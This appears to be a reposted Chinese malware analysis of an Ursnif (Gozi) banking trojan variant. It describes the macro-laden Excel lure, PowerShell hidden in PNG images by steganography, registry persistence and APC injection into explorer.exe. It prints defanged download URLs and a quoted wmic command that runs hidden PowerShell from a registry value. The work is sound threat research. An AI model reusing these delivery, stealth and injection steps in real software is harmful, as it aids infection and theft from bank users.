内容简介:Ursnif是一个非常活跃的银行木马,也叫做GOZI,事实上是2014年泄露的Gozi-ISFB银行木马的一个副本。在该变种中,Ursnif使用含有VBA宏代码的武器化的office文档,其中宏代码作为释放器和多阶段混淆Powershell脚本来隐藏真实的payload。除此之外,Ursnif还使用隐写术来隐藏恶意代码并尝试绕过AV的检测。该变种使用QueueUserAPC进程注入技术来注入explorer.exe,因为在目标进程中没有创建远程线程。初始感染向量是一个excel文件,要求用户启用宏执行来合理
Ursnif是一个非常活跃的银行木马,也叫做GOZI,事实上是2014年泄露的Gozi-ISFB银行木马的一个副本。在该变种中,Ursnif使用含有VBA宏代码的武器化的office文档,其中宏代码作为释放器和多阶段混淆Powershell脚本来隐藏真实的payload。除此之外,Ursnif还使用隐写术来隐藏恶意代码并尝试绕过AV的检测。
该变种使用QueueUserAPC进程注入技术来注入explorer.exe,因为在目标进程中没有创建远程线程。
技术分析
初始感染向量是一个excel文件,要求用户启用宏执行来合理查看伪造文档的内容,伪造的一般是发票、订单等等。
图1. Ursnif宏文档
研究人员对宏代码进行分析,发现恶意软件首先用Application.International MS Office特性来检查受害者所在的国家。如果国家代码是Italy (code 39),宏就会使用 shell 函数执行下一个命令。
图2. 部分VB宏代码
宏代码的其余函数用shell命令来启动,合并多个不同方式编码的字符串。最终的命令含有大量的二进制字符串,使用下面的函数来使其变成新的Powershell命令:
[Convert]ToInt16() -as[char]
图3. 宏代码使用的Powershell脚本
如上图所示,恶意软件会尝试从两个嵌入的URL中下载图像:
httpsimages2.imgbox[.]com55c4rBzwpAzi_o.png httpsi.postimg[.]ccPH6QvFvFmario.pngdl=1
这两个看似正常的图片中实际上含有新的Powershell命令。武器和的图片是用Invoke-PSImage脚本伪造的,这允许在PNG文件的像素中嵌入脚本的一些字节。
图4. 隐藏在图片中的Powershell脚本
Et voilà是另一个混淆的Powershell阶段。Payload是base64编码的,所以可以很容易是移动和显示下一段代码。
图5. 反混淆进程的另一阶段
看起来,十六进制编码可以用前面提到的[Convert]ToInt16函数来解码。
最终得到的代码是:
图6. 下载Ursnif 加载器的Powershell脚本
恶意软件还会根据受害者所在的国家执行另一个检查,确保是意大利。从命令中提取的信息有:
Get-Culture Format-List -Property
如果这一检查的结果是true,脚本会从httpfillialopago[.]info~DF2F63下载一个EXE payload,保存为%TEMP%Twain001.exe,然后执行。
截止分析时,大多数反病毒引擎还无法判别该文件:
图7. Ursnif加载器检测率
虽然被成功检测识别的概率很低,但研究人员发现可执行文件是一个经典的Ursnif加载器,负责联系服务器来下载恶意二进制文件,该文件会被注入到explorer.exe进程中。恶意软件使用函数IWebBrowser.Navigate来从恶意服务器felipllet[.]info和类似.avi文件的URI路径来下载数据:
图8. IWebBrowser.Navigate函数
服务器会响应发送加密数据的请求,如图所示:
图9. 部分含有加密数据的网络流量
解密后,所有有用的数据都保存在HKCUSoftwareAppDataLowSoftwareMicrosoft{GUID}的注册表中。
图10. 恶意软件设置的注册表
注册表值defrdisc让研究人员想起了合法的硬盘碎片清除工具,其中含有下一步执行的命令,并设置为系统启动项:
图11. 系统启动时执行的命令
命令的目标是通过Powershell引擎执行含有cmiftall注册表值的数据:
CWindowssystem32wbemwmic.exe outputclipboard process call create “powershell -w hidden iex([System.Text.Encoding]ASCII.GetString((get-itemproperty ‘HKCUSoftwareAppDataLowSoftwareMicrosoft94502524-E302-E68A-0D08-C77A91BCEB4E’).cmiftall))”
Cmiftall的数据是一个简单的十六进制编码的Powershell脚本,因此可以重构其行为。
图12. 用来通过PAC注入方法注入到最后的二进制文件的Powershell脚本
所以,通过使用保存在注册表中的Powershell脚本,Ursnif可以为含有final payload的恶意字节数组分配空间,并通过QueueUserAPC和SleepEx调用来以合法进程的线程来启动恶意程序。
Ursnif的完整工作流如下图所示:
图13. Ursnif工作流
根据脚本字节数组中的数据,研究人员可以提取与Ursnif注入到explorer.exe进程对应的DLL。
该DLL看似是被破坏了,静态分析结果如下:
图14. DLL信息
使用APC注入技术在内存中加载是没有问题的。
研究人员将该文件提交到VirusTotal,检测结果是56个反病毒软件没有一个能够成功检测。
图15. Final DLL的检测率
结论
2018年12月和2019年1月,Cisco Talos等安全研究团队都分别对该Ursnif的变种进行过分析。本次分析的Ursnif样本使用相同的APC注入技术来安装final二进制文件到explorer.exe进程中,同时使用了混淆和隐写技术来隐藏恶意行为。Ursnif的活动越来越活跃,虽然C2服务器目前是不可达的,但是恶意软件的注入仍在进行中,而且攻击者也常常更换C2来防止被追踪和分析。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
PHP for the World Wide Web, Second Edition (Visual QuickStart Gu
Larry Ullman / Peachpit Press / 2004-02-02 / USD 29.99
So you know HTML, even JavaScript, but the idea of learning an actual programming language like PHP terrifies you? Well, stop quaking and get going with this easy task-based guide! Aimed at beginning ......一起来看看 《PHP for the World Wide Web, Second Edition (Visual QuickStart Gu》 这本书的介绍吧!